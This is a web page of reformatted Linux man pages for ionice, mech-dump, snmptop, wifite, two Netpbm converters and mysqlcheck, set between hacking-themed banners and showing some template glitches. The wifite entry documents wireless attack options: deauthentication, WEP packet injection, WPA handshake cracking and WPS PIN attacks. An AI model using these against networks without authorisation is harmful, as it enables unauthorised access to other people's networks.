              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

779 - Linux cli command ionice

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ionice and provides detailed information about the command ionice, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ionice.

NAME 🖥️ ionice 🖥️

set or get process I/O scheduling class and priority

SYNOPSIS

ionice [-c class] [-n level] [-t] -p PID

ionice [-c class] [-n level] [-t] -P PGID

ionice [-c class] [-n level] [-t] -u UID

ionice [-c class] [-n level] [-t] command [argument] …

DESCRIPTION

This program sets or gets the I/O scheduling class and priority for a program. If no arguments or just -p is given, ionice will query the current I/O scheduling class and priority for that process.

When command is given, ionice will run this command with the given arguments. If no class is specified, then command will be executed with the “best-effort” scheduling class. The default priority level is 4.

As of this writing, a process can be in one of three scheduling classes:

Idle

A program running with idle I/O priority will only get disk time when no other program has asked for disk I/O for a defined grace period. The impact of an idle I/O process on normal system activity should be zero. This scheduling class does not take a priority argument. Presently, this scheduling class is permitted for an ordinary user (since kernel 2.6.25).

Best-effort

This is the effective scheduling class for any process that has not asked for a specific I/O priority. This class takes a priority argument from 0-7, with a lower number being higher priority. Programs running at the same best-effort priority are served in a round-robin fashion.

Note that before kernel 2.6.26 a process that has not asked for an I/O priority formally uses “none” as scheduling class, but the I/O scheduler will treat such processes as if it were in the best-effort class. The priority within the best-effort class will be dynamically derived from the CPU nice level of the process: io_priority = (cpu_nice + 20) / 5.

For kernels after 2.6.26 with the CFQ I/O scheduler, a process that has not asked for an I/O priority inherits its CPU scheduling class. The I/O priority is derived from the CPU nice level of the process (same as before kernel 2.6.26).

Realtime

The RT scheduling class is given first access to the disk, regardless of what else is going on in the system. Thus the RT class needs to be used with some care, as it can starve other processes. As with the best-effort class, 8 priority levels are defined denoting how big a time slice a given process will receive on each scheduling window. This scheduling class is not permitted for an ordinary (i.e., non-root) user.

OPTIONS

-c, –class class

Specify the name or number of the scheduling class to use; 0 for none, 1 for realtime, 2 for best-effort, 3 for idle.

-n, –classdata level

Specify the scheduling class data. This only has an effect if the class accepts an argument. For realtime and best-effort, 0-7 are valid data (priority levels), and 0 represents the highest priority level.

-p, –pid PID

Specify the process IDs of running processes for which to get or set the scheduling parameters.

-P, –pgid PGID

Specify the process group IDs of running processes for which to get or set the scheduling parameters.

-t, –ignore

Ignore failure to set the requested priority. If command was specified, run it even in case it was not possible to set the desired scheduling priority, which can happen due to insufficient privileges or an old kernel version.

-u, –uid UID

Specify the user IDs of running processes for which to get or set the scheduling parameters.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

NOTES

Linux supports I/O scheduling priorities and classes since 2.6.13 with the CFQ I/O scheduler.

EXAMPLES

·

# ionice -c 3 -p 89

Sets process with PID 89 as an idle I/O process.

·

# ionice -c 2 -n 0 bash

Runs bash as a best-effort program with highest priority.

·

# ionice -p 89 91

Prints the class and priority of the processes with PID 89 and 91.

AUTHORS

SEE ALSO

ioprio_set(2)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The ionice command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

780 - Linux cli command mech-dumpp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mech-dumpp and provides detailed information about the command mech-dumpp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mech-dumpp.

NAME 🖥️ mech-dumpp 🖥️

dump - Dumps information about a web page

VERSION

version 2.18

SYNOPSIS

mech-dump [options] [file|url]

Options:

–headers Dump HTTP response headers –forms Dump table of forms (default action) –links Dump table of links –images Dump table of images –all Dump all four of the above, in that order –text Dumps the textual part of the web page –user=user Set the username –password=pass Set the password –cookie-file=filename Set the filename to use for persistent cookies –agent=agent Specify the UserAgent to pass –agent-alias=alias Specify the alias for the UserAgent to pass. Pick one of: * Windows IE 6 * Windows Mozilla * Mac Safari * Mac Mozilla * Linux Mozilla * Linux Konqueror –absolute Show URLs as absolute, even if relative in the page –help Show this message

The order of the options specified is relevant. Repeated options get repeated dumps.

mech-dump will only work on HTML documents when used on remote URLs, but will assume any local file you pass it is HTML. If it is not, there won’t be any usable results.

Proxy settings are specified through the environment (e.g. http_proxy=http://proxy.my.place/). See LWP::UserAgent for details.

SEE ALSO

WWW::Mechanize

AUTHOR

Andy Lester <andy at petdance.com>

COPYRIGHT AND LICENSE

This software is copyright (c) 2004 by Andy Lester.

This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

781 - Linux cli command snmptop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmptop and provides detailed information about the command snmptop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmptop.

NAME 🖥️ snmptop 🖥️

display process table on a network entity via SNMP

SYNOPSIS

snmpps [COMMON OPTIONS] [-Cp] [-Ca] [-C n | m | t ] AGENT

snmptop [COMMON OPTIONS] [-Cp] [-Ca] [-C n | m | t ] AGENT

DESCRIPTION

snmpps is a networked version of a simple ps command. It checks the processes on the remote machine by examining the HOST-RESOURCES-MIB’s hrSWRunTable and the hrSWRunPerfTable.

AGENT identifies a target SNMP agent, which is instrumented to monitor the given objects. At its simplest, the AGENT specification will consist of a hostname or an IPv4 address. In this situation, the command will attempt communication with the agent, using UDP/IPv4 to port 161 of the given target host. See the snmpcmd(1) manual page for a full list of the possible formats for AGENT.

snmptop emulates the top command using SNMP. While running, the keyboard inputs of ‘c’, ’n’, ’m’, ’t’ switches sorting between cpu, pid, memory, or total runtime. Typing ‘i’ toggles hiding idle processes, while ‘o’ toggles hiding Os processes. Typing ‘a’ toggles display of hrSWRunParameters, ‘p’ toggles display of hrSWRunPath.

OPTIONS

COMMON OPTIONS
Please see snmpcmd(1) for a list of possible values for COMMON OPTIONS as well as their descriptions.

-Cp
Show hrSWRunPath in addition to hrSWRunName

-Ca
Show hrSWRunParameters in addition to hrSWRunName

-Ct
Sort display by total CPU usage

-Cm
Sort display by memory usage

-Cn
Sort display numeric by PID

EXAMPLES

% snmpps -v 2c -c public localhost

Index Type Status     Memory         CPU Command
    1 Appl   Wait     1.00MB        1.29 init 
  554 Appl   Wait   364.00kB        0.03 udevd 
 1813 Appl    Run     6.73MB        0.41 snmpd 
 1833 Appl   Wait     1.27MB        3.49 rsyslogd 
 1871 Appl   Wait   496.00kB       47.92 irqbalance 
 1890 Appl   Wait   648.00kB        0.62 rpcbind 
 2121 Appl   Wait     1.89MB        0.00 bash 
 2150 Appl   Wait     3.49MB        0.16 vim 
 2185 Appl   Wait   556.00kB        0.00 sleep 

SEE ALSO

snmpcmd(1), snmp.conf(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

782 - Linux cli command wifite

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wifite and provides detailed information about the command wifite, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wifite.

NAME 🖥️ wifite 🖥️

Python script to automate wireless auditing using aircrack-ng tools

SYNOPSIS

wifite [SETTINGS] [FILTERS]

DESCRIPTION

Wifite is a tool to audit WEP or WPA encrypted wireless networks. It uses aircrack-ng, pyrit, reaver, tshark tools to perform the audit.

This tool is customizable to be automated with only a few arguments and can be trusted to run without supervision.

COMMANDS

-check <file> check capfile <file> for handshakes. -cracked display previously-cracked access points

GLOBAL

-all attack all targets. [off] -i <iface> wireless interface for capturing [auto] -mac Changes MAC address of ‘iface’ to a random MAC. [off] -c <channel> channel to scan for targets [auto] -e <essid> target a specific access point by ssid (name) [ask] -b <bssid> target a specific access point by bssid (mac) [auto] -showb display target BSSIDs after scan [off] -pow <db> attacks any targets with signal strenghth > db [0] -q -quiet do not print list of APs during scan [off]

WPA

-wpa only target WPA networks (works with -wps -wep) [off] -wpat <sec> time to wait for WPA attack to complete (seconds) [500] -wpadt <sec> time to wait between sending deauth packets (sec) [10] -strip strip handshake using tshark or pyrit [off] -crack <dic> crack WPA handshakes using <dic> wordlist file [off] -dict <file> specify dictionary to use when cracking WPA [phpbb.txt] -aircrack verify handshake using aircrack [on] -pyrit verify handshake using pyrit [off] -tshark verify handshake using tshark [on]

WEP

-wep only target WEP networks [off] -pps <num> set the number of packets per second to inject [600] -wept <sec> sec to wait for each attack, 0 implies endless [600] -chopchop use chopchop attack [on] -arpreplay use arpreplay attack [on] -fragment use fragmentation attack [on] -caffelatte use caffe-latte attack [on] -p0841 use -p0841 attack [on] -hirte use hirte (cfrag) attack [on] -nofakeauth stop attack if fake authentication fails [off] -wepca <n> start cracking when number of ivs surpass n [10000] -wepsave save a copy of .cap files to this directory [off]

WPS

-wps only target WPS networks [off] -wpst -wpstime <sec> max wait for new retry before giving up (0: never) [660] -wpsratio -wpsr <per> min ratio of successful PIN attempts/total tries [0] -wpsretry -wpsmaxr <num> max number of retries for same PIN before giving up [0]

OTHERS COMMANDS

-upgrade Checks for new version -update Checks for new version

EXAMPLES

./wifite.py -wps -wep -c 6 -pps 600

AUTHOR

Dave M ([email protected])

This manual page was written by Daniel Echeverry <[email protected]>, for the Debian project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

783 - Linux cli command palmtopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command palmtopnm and provides detailed information about the command palmtopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the palmtopnm.

.

NAME 🖥️ palmtopnm 🖥️

convert a Palm Bitmap to a PNM image

SYNOPSIS

palmtopnm

[-verbose]

[-rendition N]

[-showhist]

[palmfile] palmtopnm

-transparent

[-verbose]

[palmfile]

DESCRIPTION

This program is part of Netpbm(1) .

palmtopnm reads a Palm Bitmap as input, from Standard Input or palmfile and produces a PPM image as output.

Alternatively (when you specify -transparent), palmtopnm writes the value of the transparent color in the Palm Bitmap to Standard Output.

Palmtopnm can convert Palm Bitmaps with the following features. This does not mean that it doesn’t handle other features. These are just the ones we found worth mentioning.

  • Version 0

  • Version 1

  • Version 2

  • Version 3 (new in Netpbm 10.27 (March 2005))

  • Scanline compression

  • RLE compression

  • Packbits compression (new in Netpbm 10.27 (March 2005))

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), palmtopnm recognizes the following command line options:

-verbose
Display various interesting information about the input file and process.

-transparent
If the Palm Bitmap has a transparent color set, palmtopnm writes the value for that color to Standard Output in the form #RRGGBB, where RR, GG, and BB are two-digit hexadecimal numbers indicating a value in the range 0 through 255. If no transparent color is set in the Bitmap, palmtopnm writes nothing. palmtopnm does not generate any output image when you specify -transparent.

-rendition N
Palm Bitmaps may contain several different renditions of the same image, with different depths. By default, palmtopnm operates on the first rendition (rendition number 1) in the image. This switch allows you to operate on a different rendition. The value must be between 1 and the number of renditions in the image, inclusive.

-showhist
This option causes palmtopnm to write a histogram of colors in the input file to Standard Error.

SEE ALSO

pnmtopalm(1) , pamtopdbimg(1) , pnm(1) ,

LIMITATIONS

You cannot generate a transparency mask if the Palm Bitmap has a transparent color. However, you can still do this with ppmcolormask with a Netpbm pipe similar to:

palmtopnm bitmap.palm | ppmcolormask `palmtopnm -transparent bitmap.palm`

HISTORY

Before Netpbm 10.23 (July 2004), there was a -forceplain option. But that had been redundant for a long time, since the Netpbm common option -plain does the same thing.

AUTHORS

This program was originally written as Tbmptopnm.c, by Ian Goldberg. It was heavily modified by Bill Janssen to add color, compression, and transparency function.

Copyright 1995-2001 by Ian Goldberg and Bill Janssen.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/palmtopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

784 - Linux cli command ppmdim

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmdim and provides detailed information about the command ppmdim, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmdim.

.

NAME 🖥️ ppmdim 🖥️

dim a PPM image

SYNOPSIS

ppmdim dimfactor [ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

This program is largely obsoleted by the more general pamfunc(1) (use the -multiplier option). ppmdim remains for backward compatibility and also because its use of integer arithmetic may make it faster.

ppmdim reads a PPM image input and diminishes its brightness by the specified dimfactor. The dimfactor may be in the range from 0.0 (total blackness, deep night, nada, null, nothing) to 1.0 (original picture’s brightness).

OPTIONS

There are no command line options defined specifically for ppmdim, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppm(1) , pamfunc(1) ,

AUTHOR

Copyright (C) 1993 by Frank Neumann

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmdim.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

785 - Linux cli command mariadb-analyze

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-analyze and provides detailed information about the command mariadb-analyze, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-analyze.

NAME 🖥️ mariadb-analyze 🖥️

check - a table maintenance program (mysqlcheck is now a symlink to mariadb-check)

SYNOPSIS

**mysqlcheck [options] [**db_name **[**tbl_name …]]

DESCRIPTION

The mysqlcheck client performs table maintenance: It checks, repairs, optimizes, or analyzes tables.

Each table is locked and therefore unavailable to other sessions while it is being processed, although for check operations, the table is locked with a READ lock only. Table maintenance operations can be time-consuming, particularly for large tables. If you use the –databases or –all-databases option to process all tables in one or more databases, an invocation of mysqlcheck might take a long time. (This is also true for mysql_upgrade because that program invokes mysqlcheck to check all tables and repair them if necessary.)

mysqlcheck is similar in function to myisamchk, but works differently. The main operational difference is that mysqlcheck must be used when the mysqld server is running, whereas myisamchk should be used when it is not. The benefit of using mysqlcheck is that you do not have to stop the server to perform table maintenance.

mysqlcheck uses the SQL statements CHECK TABLE, REPAIR TABLE, ANALYZE TABLE, and OPTIMIZE TABLE in a convenient way for the user. It determines which statements to use for the operation you want to perform, and then sends the statements to the server to be executed.

The MyISAM storage engine supports all four maintenance operations, so mysqlcheck can be used to perform any of them on MyISAM tables. Other storage engines do not necessarily support all operations. In such cases, an error message is displayed. For example, if test.t is a MEMORY table, an attempt to check it produces this result:

shell> mysqlcheck test t test.t note : The storage engine for the table doesn’t support check

If mysqlcheck is unable to repair a table, see the MariaDB Knowledge Base for manual table repair strategies. This will be the case, for example, for InnoDB tables, which can be checked with CHECK TABLE, but not repaired with REPAIR TABLE.

The use of mysqlcheck with partitioned tables is not supported.

Caution

It is best to make a backup of a table before performing a table repair operation; under some circumstances the operation might cause data loss. Possible causes include but are not limited to file system errors.

There are three general ways to invoke mysqlcheck:

shell> mysqlcheck [options] db_name [tbl_name …] shell> mysqlcheck [options] –databases db_name … shell> mysqlcheck [options] –all-databases

If you do not name any tables following db_name or if you use the –databases or –all-databases option, entire databases are checked.

mysqlcheck has a special feature compared to other client programs. The default behavior of checking tables (–check) can be changed by renaming the binary. If you want to have a tool that repairs tables by default, you should just make a copy of mysqlcheck named mysqlrepair, or make a symbolic link to mysqlcheck named mysqlrepair. If you invoke mysqlrepair, it repairs tables.

The following names can be used to change mysqlcheck default behavior.

mysqlrepairThe default option is --repair
mysqlanalyzeThe default option is --analyze
mysqloptimizeThe default option is --optimize

mysqlcheck supports the following options, which can be specified on the command line or in the [mysqlcheck] and [client] option file groups. The -c, -r, -a and -o options are exclusive to each other.

·

–help, -?

Display a help message and exit.

·

–all-databases, -A

Check all tables in all databases. This is the same as using the –databases option and naming all the databases on the command line.

·

–all-in-1, -1

Instead of issuing a statement for each table, execute a single statement for each database that names all the tables from that database to be processed.

·

–analyze, -a

Analyze the tables.

·

–auto-repair

If a checked table is corrupted, automatically fix it. Any necessary repairs are done after all tables have been checked.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

–check, -c

Check the tables for errors. This is the default operation.

·

–check-only-changed, -C

Check only tables that have changed since the last check or that have not been closed properly.

·

–check-upgrade, -g

Invoke CHECK TABLE with the FOR UPGRADE option to check tables for incompatibilities with the current version of the server. This option automatically enables the –fix-db-names and –fix-table-names options.

·

–compress

Compress all information sent between the client and the server if both support compression.

·

–databases, -B

Process all tables in the named databases. Normally, mysqlcheck treats the first name argument on the command line as a database name and following names as table names. With this option, it treats all name arguments as database names.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o'.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info

Print debugging information and memory and CPU usage statistics when the program exits.

·

**–default-auth=**name

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

–extended, -e

If you are using this option to check tables, it ensures that they are 100% consistent but takes a long time.

If you are using this option to repair tables, it will force using the old, slow, repair with keycache method, instead of the much faster repair by sorting.

·

–fast, -F

Check only tables that have not been closed properly.

·

–fix-db-names

Convert database names to the format used since MySQL 5.1. Only database names that contain special characters are affected.

·

–fix-table-names

Convert table names (including views) to the format used since MySQL 5.1. Only table names that contain special characters are affected.

·

–flush,

Flush each table after check. This is useful if you don’t want to have the checked tables take up space in the caches after the check.

·

–force, -f

Continue even if an SQL error occurs.

·

**–host=**host_name, -h host_name

Connect to the MariaDB server on the given host.

·

–medium-check, -m

Do a check that is faster than an –extended operation. This finds only 99.99% of all errors, which should be good enough in most cases.

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–optimize, -o

Optimize the tables.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqlcheck prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

–persistent, -Z

Used with ANALYZE TABLE to append the option PERSISENT FOR ALL.

·

–pipe, -W

On Windows, connect to the server via a named pipe. This option applies only if the server supports named-pipe connections.

·

**–plugin-dir=**name

Directory for client-side plugins.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection. Forces –protocol=tcp when specified on the command line without other connection properties.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–process-tables

Perform the requested operation on tables. Defaults to on; use –skip-process-tables to disable.

·

**–process-views=**val

Perform the requested operation (only CHECK VIEW or REPAIR VIEW). Possible values are NO, YES (correct the checksum, if necessary, add the mariadb-version field), UPGRADE_FROM_MYSQL (same as YES and toggle the algorithm MERGE<->TEMPTABLE.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–quick, -q

If you are using this option to check tables, it prevents the check from scanning the rows to check for incorrect links. This is the fastest check method.

If you are using this option to repair tables, it tries to repair only the index tree. This is the fastest repair method.

·

–repair, -r

Perform a repair that can fix almost anything except unique keys that are not unique.

·

–silent, -s

Silent mode. Print only error messages.

·

**–skip-database=**db_name

Don’t process the database (case-sensitive) specified as argument.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

–tables

Override the –databases or -B option. All name arguments following the option are regarded as table names.

·

–use-frm

For repair operations on MyISAM tables, get the table structure from the .frm file so that the table can be repaired even if the .MYI header is corrupted.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

·

–verbose, -v

Verbose mode. Print information about the various stages of program operation. Using one –verbose option will give you more information about what mysqlcheck is doing.

Using two –verbose options will also give you connection information.

Using it 3 times will print out all CHECK, RENAME and ALTER TABLE during the check phase.

·

–version, -V

Display version information and exit.

·

–write-binlog

This option is enabled by default, so that ANALYZE TABLE, OPTIMIZE TABLE, and REPAIR TABLE statements generated by mysqlcheck are written to the binary log. Use –skip-write-binlog to cause NO_WRITE_TO_BINLOG to be added to the statements so that they are not logged. Use the –skip-write-binlog when these statements should not be sent to replication slaves or run when using the binary logs for recovery from backup.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

